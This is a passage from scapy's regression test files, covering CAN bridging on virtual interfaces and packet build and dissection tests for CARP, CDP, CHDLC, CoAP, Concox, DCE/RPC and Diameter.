CANSocket(bustype='socketcan', channel='vcan0', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) sock1 = CANSocket(bustype='socketcan', channel='vcan1', can_filters=[{'can_id': 0x10010000, 'can_mask': 0x1fffffff}]) def senderBothVCans(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridgeWithPackageChangeBothDirections(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): pkt.data = b'\x08\x07\x06\x05\x04\x03\x02\x01' pkt.identifier = 0x10010000 return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithPackageChangeBothDirections) threadBridge.start() threadSender = threading.Thread(target=senderBothVCans) bridgeStarted.wait() packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) packetsVCan1 = sock1.sniff(timeout=0.3) len(packetsVCan0) == 4 len(packetsVCan1) == 6 sock0.close() sock1.close() threadBridge.join() threadSender.join() =bridge and sniff setup vcan0 package remove sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') def senderVCan0(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) bridgeStarted = threading.Event() def bridgeWithRemovePackageFromVCan0ToVCan1(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): if(pkt.identifier == 0x10020000): pkt = None else: pkt = pkt return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan0ToVCan1) threadBridge.start() threadSender = threading.Thread(target=senderVCan0) bridgeStarted.wait() packetsVCan1 = sock1.sniff(timeout=0.3, started_callback=threadSender.start) len(packetsVCan1) == 5 sock0.close() sock1.close() threadBridge.join() threadSender.join() =bridge and sniff setup vcan1 package remove sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') def senderVCan1(): sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridgeWithRemovePackageFromVCan1ToVCan0(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnr(pkt): if(pkt.identifier == 0x10050000): pkt = None else: pkt = pkt return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm21=pnr, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageFromVCan1ToVCan0) threadBridge.start() threadSender = threading.Thread(target=senderVCan1) bridgeStarted.wait() packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) len(packetsVCan0) == 3 sock0.close() sock1.close() threadBridge.join() threadSender.join() =bridge and sniff setup vcan0 and vcan1 package remove both directions sock0 = CANSocket(bustype='socketcan', channel='vcan0') sock1 = CANSocket(bustype='socketcan', channel='vcan1') def senderBothVCans(): sock0.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10020000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10030000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10040000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock0.send(CAN(flags='extended', identifier=0x10000000, length=8, data=b'\x01\x02\x03\x04\x05\x06\x07\x08')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10050000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) sock1.send(CAN(flags='extended', identifier=0x10010000, length=8, data=b'\x01\x02\x03\x04\x05\x04\x05\x06')) bridgeStarted = threading.Event() def bridgeWithRemovePackageInBothDirections(): global bridgeStarted bSock0 = CANSocket(bustype='socketcan', channel='vcan0') bSock1 = CANSocket(bustype='socketcan', channel='vcan1') def pnrA(pkt): if(pkt.identifier == 0x10020000): pkt = None else: pkt = pkt return pkt def pnrB(pkt): if (pkt.identifier == 0x10050000): pkt = None else: pkt = pkt return pkt bSock0.timeout = 0.01 bSock1.timeout = 0.01 bridge_and_sniff(if1=bSock0, if2=bSock1, xfrm12=pnrA, xfrm21=pnrB, timeout=0.5, started_callback=bridgeStarted.set) bSock0.close() bSock1.close() threadBridge = threading.Thread(target=bridgeWithRemovePackageInBothDirections) threadBridge.start() threadSender = threading.Thread(target=senderBothVCans) bridgeStarted.wait() packetsVCan0 = sock0.sniff(timeout=0.3, started_callback=threadSender.start) packetsVCan1 = sock1.sniff(timeout=0.3) len(packetsVCan0) == 3 len(packetsVCan1) == 5 sock0.close() sock1.close() = Delete vcan interfaces ~ needs_root linux vcan_socket if 0 != call(["sudo", "ip" ,"link", "delete", "vcan0"]): raise Exception("vcan0 could not be deleted") if 0 != call(["sudo", "ip" ,"link", "delete", "vcan1"]): raise Exception("vcan1 could not be deleted") scapy-2.4.4/test/contrib/carp.uts000066400000000000000000000004261372370053500167500ustar00rootroot00000000000000% Regression tests for the avs module + Basic CARP test = Build pkt = Ether()/IP()/CARP() pkt = Ether(raw(pkt)) assert CARP in pkt assert pkt[CARP].chksum assert pkt[CARP].build_hmac_sha1(ip4l=['192.168.0.111']) == b'\xbd\x82\xc7\x8f6\x1a\x0e\xff\xcfl\x14\xa2v\xedW;>ic\xa3' scapy-2.4.4/test/contrib/cdp.uts000066400000000000000000000100031372370053500165610ustar00rootroot00000000000000#################################### cdp.py ################################## % Regression tests for the cdp module ################################## CDPv2_HDR ################################## + CDP = CDPv2 - Dissection (1) s = b'\x02\xb4\x8c\xfa\x00\x01\x00\x0cmyswitch\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x00\xfd\x00\x03\x00\x13FastEthernet0/1\x00\x04\x00\x08\x00\x00\x00(\x00\x05\x01\x14Cisco Internetwork Operating System Software \nIOS (tm) C2950 Software (C2950-I6K2L2Q4-M), Version 12.1(22)EA14, RELEASE SOFTWARE (fc1)\nTechnical Support: http://www.cisco.com/techsupport\nCopyright (c) 1986-2010 by cisco Systems, Inc.\nCompiled Tue 26-Oct-10 10:35 by nburra\x00\x06\x00\x15cisco WS-C2950-12\x00\x08\x00$\x00\x00\x0c\x01\x12\x00\x00\x00\x00\xff\xff\xff\xff\x01\x02!\xff\x00\x00\x00\x00\x00\x00\x00\x0b\xbe\x18\x9a@\xff\x00\x00\x00\t\x00\x0cMYDOMAIN\x00\n\x00\x06\x00\x01\x00\x0b\x00\x05\x01\x00\x0e\x00\x07\x01\x00\n\x00\x12\x00\x05\x00\x00\x13\x00\x05\x00\x00\x16\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x00\xfd' cdpv2 = CDPv2_HDR(s) assert(len(cdpv2) == 450) assert(cdpv2.vers == 2) assert(cdpv2.ttl == 180) assert(cdpv2.cksum == 0x8cfa) assert(cdpv2.haslayer(CDPMsgDeviceID)) assert(cdpv2.haslayer(CDPMsgAddr)) assert(cdpv2.haslayer(CDPAddrRecordIPv4)) assert(cdpv2.haslayer(CDPMsgPortID)) assert(cdpv2.haslayer(CDPMsgCapabilities)) assert(cdpv2.haslayer(CDPMsgSoftwareVersion)) assert(cdpv2.haslayer(CDPMsgPlatform)) assert(cdpv2.haslayer(CDPMsgProtoHello)) assert(cdpv2.haslayer(CDPMsgVTPMgmtDomain)) assert(cdpv2.haslayer(CDPMsgNativeVLAN)) assert(cdpv2.haslayer(CDPMsgDuplex)) assert(cdpv2.haslayer(CDPMsgVoIPVLANReply)) assert(cdpv2.haslayer(CDPMsgTrustBitmap)) assert(cdpv2.haslayer(CDPMsgUntrustedPortCoS)) assert(cdpv2.haslayer(CDPMsgMgmtAddr)) assert(cdpv2[CDPMsgProtoHello].len == 36) assert(cdpv2[CDPMsgProtoHello].oui == 0xc) assert(cdpv2[CDPMsgProtoHello].protocol_id == 0x112) assert(cdpv2[CDPMsgTrustBitmap].type == 0x0012) assert(cdpv2[CDPMsgTrustBitmap].len == 5) assert(cdpv2[CDPMsgTrustBitmap].trust_bitmap == 0x0) assert(cdpv2[CDPMsgUntrustedPortCoS].type == 0x0013) assert(cdpv2[CDPMsgUntrustedPortCoS].len == 5) assert(cdpv2[CDPMsgUntrustedPortCoS].untrusted_port_cos == 0x0) = CDPv2 - Rebuild (1) cdpv2.cksum = None assert raw(cdpv2) == s = CDPv2 - Dissection (2) s = b'\x02\xb4\xd7\xdb\x00\x01\x00\x13SIP001122334455\x00\x02\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x01!\x00\x03\x00\nPort 1\x00\x04\x00\x08\x00\x00\x00\x10\x00\x05\x00\x10P003-08-2-00\x00\x06\x00\x17Cisco IP Phone 7960\x00\x0f\x00\x08 \x02\x00\x01\x00\x0b\x00\x05\x01\x00\x10\x00\x06\x18\x9c' cdpv2 = CDPv2_HDR(s) assert(cdpv2.vers == 2) assert(cdpv2.ttl == 180) assert(cdpv2.cksum == 0xd7db) assert(cdpv2.haslayer(CDPMsgDeviceID)) assert(cdpv2.haslayer(CDPMsgAddr)) assert(cdpv2.haslayer(CDPAddrRecordIPv4)) assert(cdpv2.haslayer(CDPMsgPortID)) assert(cdpv2.haslayer(CDPMsgCapabilities)) assert(cdpv2.haslayer(CDPMsgSoftwareVersion)) assert(cdpv2.haslayer(CDPMsgPlatform)) assert(cdpv2.haslayer(CDPMsgVoIPVLANQuery)) assert(cdpv2.haslayer(CDPMsgDuplex)) assert(cdpv2.haslayer(CDPMsgPower)) assert(cdpv2[CDPMsgVoIPVLANQuery].type == 0x000f) assert(cdpv2[CDPMsgVoIPVLANQuery].len == 8) assert(cdpv2[CDPMsgVoIPVLANQuery].unknown1 == 0x20) assert(cdpv2[CDPMsgVoIPVLANQuery].vlan == 512) assert cdpv2[CDPMsgPower].sprintf("%power%") == '6300 mW' = CDPv2 - Rebuild (2) cdpv2.cksum = None s2 = s[:2] + b"\xf3\xf1" + s[4:] assert raw(cdpv2) == s2 = CDPv2 - Complex Packet r = b'\x01\x00\x0c\xcc\xcc\xcc\x11"3DUf\x01\x80\xaa\xaa\x03\x00\x00\x0c \x00\x02\xb4uV\x00\x01\x00\nRouter\x00\x05\x00\x04\x00\x06\x00\x04\x00\x02\x00\x11\x00\x00\x00\x02\x01\x01\xcc\x00\x04\xc0\xa8\x01e\x00\x03\x00\x18GigabitEthernet0/0/1\x00\x04\x00\x08\x00\x00\x00A\x00\x07\x00\t\x14\x00\x00\x00\x18\x00\t\x00\x04\x00\x0b\x00\x05\x01\x00\x16\x00\x11\x00\x00\x00\x01\x01\x01\xcc\x00\x04\xc0\xa8\x01e' p = Dot3(r) assert CDPMsgPortID in p and CDPMsgIPPrefix in p = CDPChecksum - packet with odd length pkt = CDPv2_HDR(vers=2, ttl=180, msg='123') assert len(pkt) == 7 scapy-2.4.4/test/contrib/chdlc.uts000066400000000000000000000012361372370053500171000ustar00rootroot00000000000000% Regression tests for the avs module + Basic AVS test = Default build, storage and dissection pkt = CHDLC()/SLARP() _filepath = get_temp_file(autoext=".pcap") wrpcap(_filepath, pkt) pkt1 = rdpcap(_filepath)[0] assert raw(pkt) == raw(pkt1) assert CHDLC in pkt assert SLARP in pkt try: os.remove(_filepath) except Exception: pass = Build request pkt = CHDLC()/SLARP(type=0, address="192.168.0.131", mask="255.255.0.0") pkt = CHDLC(raw(pkt)) assert pkt[SLARP].address == "192.168.0.131" = Build keepalive pkt = CHDLC()/SLARP(type=2, mysequence=123, yoursequence=123456789, reliability=555) pkt = CHDLC(raw(pkt)) assert pkt[SLARP].yoursequence == 123456789 scapy-2.4.4/test/contrib/coap.uts000066400000000000000000000043711372370053500167500ustar00rootroot00000000000000% CoAP layer test campaign + Syntax check = Import the CoAP layer from scapy.contrib.coap import * + Test CoAP = CoAP default values assert(raw(CoAP()) == b'\x40\x00\x00\x00') = Token length calculation p = CoAP(token='foobar') assert(CoAP(raw(p)).tkl == 6) = CON GET dissect p = CoAP(b'\x40\x01\xd9\xe1\xbb\x2e\x77\x65\x6c\x6c\x2d\x6b\x6e\x6f\x77\x6e\x04\x63\x6f\x72\x65') assert(p.code == 1) assert(p.ver == 1) assert(p.tkl == 0) assert(p.tkl == 0) assert(p.msg_id == 55777) assert(p.token == b'') assert(p.type == 0) assert(p.options == [('Uri-Path', b'.well-known'), ('Uri-Path', b'core')]) = Extended option delta assert(raw(CoAP(options=[("Uri-Query", "query")])) == b'\x40\x00\x00\x00\xd5\x02\x71\x75\x65\x72\x79') = Extended option length assert(raw(CoAP(options=[("Location-Path", 'x' * 280)])) == b'\x40\x00\x00\x00\x8e\x0b\x00' + b'\x78' * 280) = Options should be ordered by option number assert(raw(CoAP(options=[("Uri-Query", "b"),("Uri-Path","a")])) == b'\x40\x00\x00\x00\xb1\x61\x41\x62') = Options of the same type should not be reordered assert(raw(CoAP(options=[("Uri-Path", "b"),("Uri-Path","a")])) == b'\x40\x00\x00\x00\xb1\x62\x01\x61') + Test layer binding = Destination port p = UDP()/CoAP() assert(p[UDP].dport == 5683) = Source port s = b'\x16\x33\xa0\xa4\x00\x78\xfe\x8b\x60\x45\xd9\xe1\xc1\x28\xff\x3c\x2f\x3e\x3b\x74\x69\x74\x6c\x65\x3d\x22\x47\x65' \ b'\x6e\x65\x72\x61\x6c\x20\x49\x6e\x66\x6f\x22\x3b\x63\x74\x3d\x30\x2c\x3c\x2f\x74\x69\x6d\x65\x3e\x3b\x69\x66\x3d' \ b'\x22\x63\x6c\x6f\x63\x6b\x22\x3b\x72\x74\x3d\x22\x54\x69\x63\x6b\x73\x22\x3b\x74\x69\x74\x6c\x65\x3d\x22\x49\x6e' \ b'\x74\x65\x72\x6e\x61\x6c\x20\x43\x6c\x6f\x63\x6b\x22\x3b\x63\x74\x3d\x30\x3b\x6f\x62\x73\x2c\x3c\x2f\x61\x73\x79' \ b'\x6e\x63\x3e\x3b\x63\x74\x3d\x30' assert(CoAP in UDP(s)) = building with a text/plain payload p = CoAP(ver = 1, type = 0, code = 0x42, msg_id = 0xface, options=[("Content-Format", b"\x00")], paymark = b"\xff") p /= Raw(b"\xde\xad\xbe\xef") assert(raw(p) == b'\x40\x42\xfa\xce\xc1\x00\xff\xde\xad\xbe\xef') = dissection with a text/plain payload p = CoAP(raw(p)) assert(p.ver == 1) assert(p.type == 0) assert(p.code == 0x42) assert(p.msg_id == 0xface) assert(isinstance(p.payload, Raw)) assert(p.payload.load == b'\xde\xad\xbe\xef') scapy-2.4.4/test/contrib/concox.uts000066400000000000000000000016221372370053500173130ustar00rootroot00000000000000# Concox CRX1 unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('concox')" -t test/contrib/concox.uts + Concox CRX1 = Basic tests r = raw(CRX1New(default_packet_length=5, default_packet_content=CRX1NewPacketContent())) assert r == b'xx\x05\x12\x00\x00\x00\x00\r\n' c = CRX1New(r) assert CRX1NewPacketContent in c r = raw(CRX1New(start_bit=0x7979, extended_packet_length=5, extended_packet_content=CRX1NewPacketContent())) assert r == b'yy\x00\x05\x12\x00\x00\x00\x00\r\n' c = CRX1New(r) assert CRX1NewPacketContent in c p = CRX1NewPacketContent(b'\x01\x41\x42\x43\x44\x45\x46\x47\x48\x02\x03\x04\x05') assert p.terminal_id == b'4142434445464748' p = CRX1NewPacketContent(b'\x12\x41\x42\x43\x44\x45\x46\x47\x48\x02\x03\x04\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04') assert p.crc == 0x304 and p.latitude scapy-2.4.4/test/contrib/dce_rpc.uts000066400000000000000000000111701372370053500174200ustar00rootroot00000000000000% DCE/RPC layer test campaign + Syntax check = Import the DCE/RPC layer import re from scapy.contrib.dce_rpc import * from uuid import UUID + Check EndiannessField = Little Endian IntField getfield f = EndiannessField(IntField('f', 0), lambda p: '<') f.getfield(None, hex_bytes('0102030405')) == (b'\x05', 0x04030201) = Little Endian IntField addfield f = EndiannessField(IntField('f', 0), lambda p: '<') f.addfield(None, b'\x01', 0x05040302) == hex_bytes('0102030405') = Big Endian IntField getfield f = EndiannessField(IntField('f', 0), lambda p: '>') f.getfield(None, hex_bytes('0102030405')) == (b'\x05', 0x01020304) = Big Endian IntField addfield f = EndiannessField(IntField('f', 0), lambda p: '>') f.addfield(None, b'\x01', 0x02030405) == hex_bytes('0102030405') = Little Endian StrField getfield f = EndiannessField(StrField('f', 0), lambda p: '<') f.getfield(None, '0102030405') == (b'', '0102030405') = Little Endian StrField addfield f = EndiannessField(StrField('f', 0), lambda p: '<') f.addfield(None, b'01', '02030405') == b'0102030405' = Big Endian StrField getfield f = EndiannessField(StrField('f', 0), lambda p: '>') f.getfield(None, '0102030405') == (b'', '0102030405') = Big Endian StrField addfield f = EndiannessField(StrField('f', 0), lambda p: '>') f.addfield(None, b'01', '02030405') == b'0102030405' = Little Endian UUIDField getfield * The endianness of a UUIDField should be apply by block on each block in * parenthesis '(01234567)-(89ab)-(cdef)-(01)(23)-(45)(67)(89)(ab)(cd)(ef)' f = EndiannessField(UUIDField('f', None), lambda p: '<') f.getfield(None, hex_bytes('0123456789abcdef0123456789abcdef')) == (b'', UUID('67452301-ab89-efcd-0123-456789abcdef')) = Little Endian UUIDField addfield f = EndiannessField(UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef'), lambda p: '<') f.addfield(None, b'', f.default) == hex_bytes('67452301ab89efcd0123456789abcdef') = Big Endian UUIDField getfield f = EndiannessField(UUIDField('f', None), lambda p: '>') f.getfield(None, hex_bytes('0123456789abcdef0123456789abcdef')) == (b'', UUID('01234567-89ab-cdef-0123456789abcdef')) = Big Endian UUIDField addfield f = EndiannessField(UUIDField('f', '01234567-89ab-cdef-0123-456789abcdef'), lambda p: '>') f.addfield(None, b'', f.default) == hex_bytes('0123456789abcdef0123456789abcdef') + Check DCE/RPC layer = DCE/RPC default values bytes(DceRpc()) == hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000ffffffff000000000000') = DCE/RPC payload length computation bytes(DceRpc() / b'\x00\x01\x02\x03') == hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000ffffffff00040000000000010203') = DCE/RPC Guess payload class fallback with no possible payload p = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000000010203')) p.payload.__class__ == conf.raw_layer = DCE/RPC Guess payload class to a registered heuristic payload * A payload to be valid must implement the method can_handle and be registered to DceRpcPayload from scapy.contrib.dce_rpc import *; import binascii, re class DummyPayload(Packet): fields_desc = [StrField('load', '')] @classmethod def can_handle(cls, pkt, dce): if pkt[0] in [b'\x01', 1]: # support for py3 bytearray return True else: return False DceRpcPayload.register_possible_payload(DummyPayload) p = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000001020304')) p.payload.__class__ == DummyPayload = DCE/RPC Guess payload class fallback with possible payload classes p = DceRpc(hex_bytes('04000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000ffffffff00040000000000010203')) p.payload.__class__ == conf.raw_layer = DCE/RPC little-endian build bytes(DceRpc(type='response', endianness='little', opnum=3) / b'\x00\x01\x02\x03') == hex_bytes('04020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000300ffffffff04000000000000010203') = DCE/RPC little-endian dissection p = DceRpc(hex_bytes('04020000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000300ffffffff04000000000000010203')) p.type == 2 and p.opnum == 3 and p.frag_len == 4 scapy-2.4.4/test/contrib/diameter.uts000066400000000000000000000244271372370053500176240ustar00rootroot00000000000000# UTscapy syntax is explained here: http://www.secdev.org/projects/UTscapy/ # original author: patrick battistello % Validation of Diameter layer ####################################################################### + Different ways of building basic AVPs ####################################################################### = AVP identified by full name a1 = AVP ('High-User-Priority', val=15) a1.show() raw(a1) == b'\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f' = Same AVP identified by the beginning of the name a1b = AVP ('High-U', val=15) a1b.show() raw(a1b) == raw(a1) = Same AVP identified by its code a1c = AVP (559, val=15) a1c.show() raw(a1c) == raw(a1) = The Session-Id AVP (with some padding added) a2 = AVP ('Session-Id', val='aaa.test.orange.fr;1428128;644587') a2.show() raw(a2) == b'\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00' = An enumerated AVP a3 = AVP ('Auth-Session-State', val='NO_STATE_MAINTAINED') a3.show() raw(a3) == b'\x00\x00\x01\x15@\x00\x00\x0c\x00\x00\x00\x01' = An address AVP a4v4 = AVP("CG-Address", val='192.168.0.1') a4v4.show() raw(a4v4) == b'\x00\x00\x03N\xc0\x00\x00\x12\x00\x00(\xaf\x00\x01\xc0\xa8\x00\x01\x00\x00' a4v6 = AVP("CG-Address", val='::1') a4v6.show() raw(a4v6) == b'\x00\x00\x03N\xc0\x00\x00\x1e\x00\x00(\xaf\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00' a4error = AVP("CG-Address", val="unknown") a4error.show() assert raw(a4error) == raw(AVP("CG-Address")) = A time AVP a5 = AVP("Expiry-Time") a5.show() assert not a5.val = An empty Auth App ID AVP a6 = AVP("Auth-Application-Id") a6.show() raw(a6) == b'\x00\x00\x01\x02@\x00\x00\x0c\x00\x00\x00\x00' = An ISDN AVP a7 = AVP("MSISDN", val="101") a7.show() raw(a7) == b'\x00\x00\x02\xbd\xc0\x00\x00\x0e\x00\x00(\xaf\x01\xf1\x00\x00' = Some OctetString AVPs a8 = AVP("Authorization-Token", val="test") a8.show() assert raw(a8) == b'\x00\x00\x01\xfa\xc0\x00\x00\x10\x00\x00(\xaftest' a8 = AVP("Authorization-Token", val=b"test\xc3\xa9") a8.show() assert a8.val == b"test\xc3\xa9" assert raw(a8) == b'\x00\x00\x01\xfa\xc0\x00\x00\x12\x00\x00(\xaftest\xc3\xa9\x00\x00' = Unknown AVP identifier a9 = AVP("wrong") assert not a9 ####################################################################### + AVPs with vendor field ####################################################################### = Vendor AVP identified by full name a4 = AVP ('Feature-List-ID', val=1) a4.show() raw(a4) == b'\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01' = Same AVP identified by its code and vendor ID * This time a list is required as first argument a4c = AVP ( [629, 10415], val=1) raw(a4c) == raw(a4) ####################################################################### + Altering the AVPs default provided values ####################################################################### = Altering the flags of the Origin-Host AVP a5 = AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') a5.show() raw(a5) == b'\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00' = Altering the length of the Destination-Realm AVP a6 = AVP (283, avpLen=33, val='foreign.realm1.fr') a6.show() raw(a6) == b'\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = Altering the vendor of the Public-Identity AVP, and hence the flags ... a7 = AVP ( [601, 98765432], val = 'sip:+0123456789@aaa.test.orange.fr') a7.show() raw(a7) == b'\x00\x00\x02Y\x80\x00\x00.\x05\xe3\nxsip:+0123456789@aaa.test.orange.fr\x00\x00' ####################################################################### + Grouped AVPs ####################################################################### = The Supported-Features AVP (with vendor) a8 = AVP ('Supported-Features') a8.val.append(a1) a8.val.append(a5) a8.show() raw(a8) == b'\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00' = The same AVP created more simply a8b = AVP ('Supported-Features', val = [a1, a5]) raw(a8b) == raw(a8) = (re)Building the previous AVP from scratch a8c = AVP ('Supported-Features', val = [ AVP ('High-User-Priority', val=15), AVP ('Origin-Host', avpFlags=187, val='aaa.test.orange.fr') ]) raw(a8c) == raw(a8) = Another (dummy) grouped AVP a9 = AVP (297, val = [a2, a4, a6]) a9.show() raw(a9) == b'\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = A grouped AVP inside another grouped AVP a10 = AVP ('Server-Cap', val = [a1, a9]) a10.show() raw(a10) == b'\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = A big grouped AVP a11 = AVP ('SIP-Auth', val = [a2, a4, a8, a10]) a11.show() raw(a11) == b'\x00\x00\x01x@\x00\x00\xf0\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x02t\x80\x00\x004\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01\x08\xbb\x00\x00\x1aaaa.test.orange.fr\x00\x00\x00\x00\x02[\xc0\x00\x00x\x00\x00(\xaf\x00\x00\x02/@\x00\x00\x0c\x00\x00\x00\x0f\x00\x00\x01)@\x00\x00`\x00\x00\x01\x07@\x00\x00)aaa.test.orange.fr;1428128;644587\x00\x00\x00\x00\x00\x02u\x80\x00\x00\x10\x00\x00(\xaf\x00\x00\x00\x01\x00\x00\x01\x1b@\x00\x00!foreign.realm1.fr\x00\x00\x00' = Dissect grouped AVP a12 = DiamG(b'\x01\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\xbd\xc0\x00\x00\r\x00\x00(\xaf\x01') assert isinstance(a12.avpList[0], AVP_10415_701) assert "MSISDN" in a12.avpList[0].name ####################################################################### + Diameter Requests (without AVPs) ####################################################################### = A simple request identified by its name r1 = DiamReq ('Capabilities-Exchange', drHbHId=1234, drEtEId=5678) r1.show() 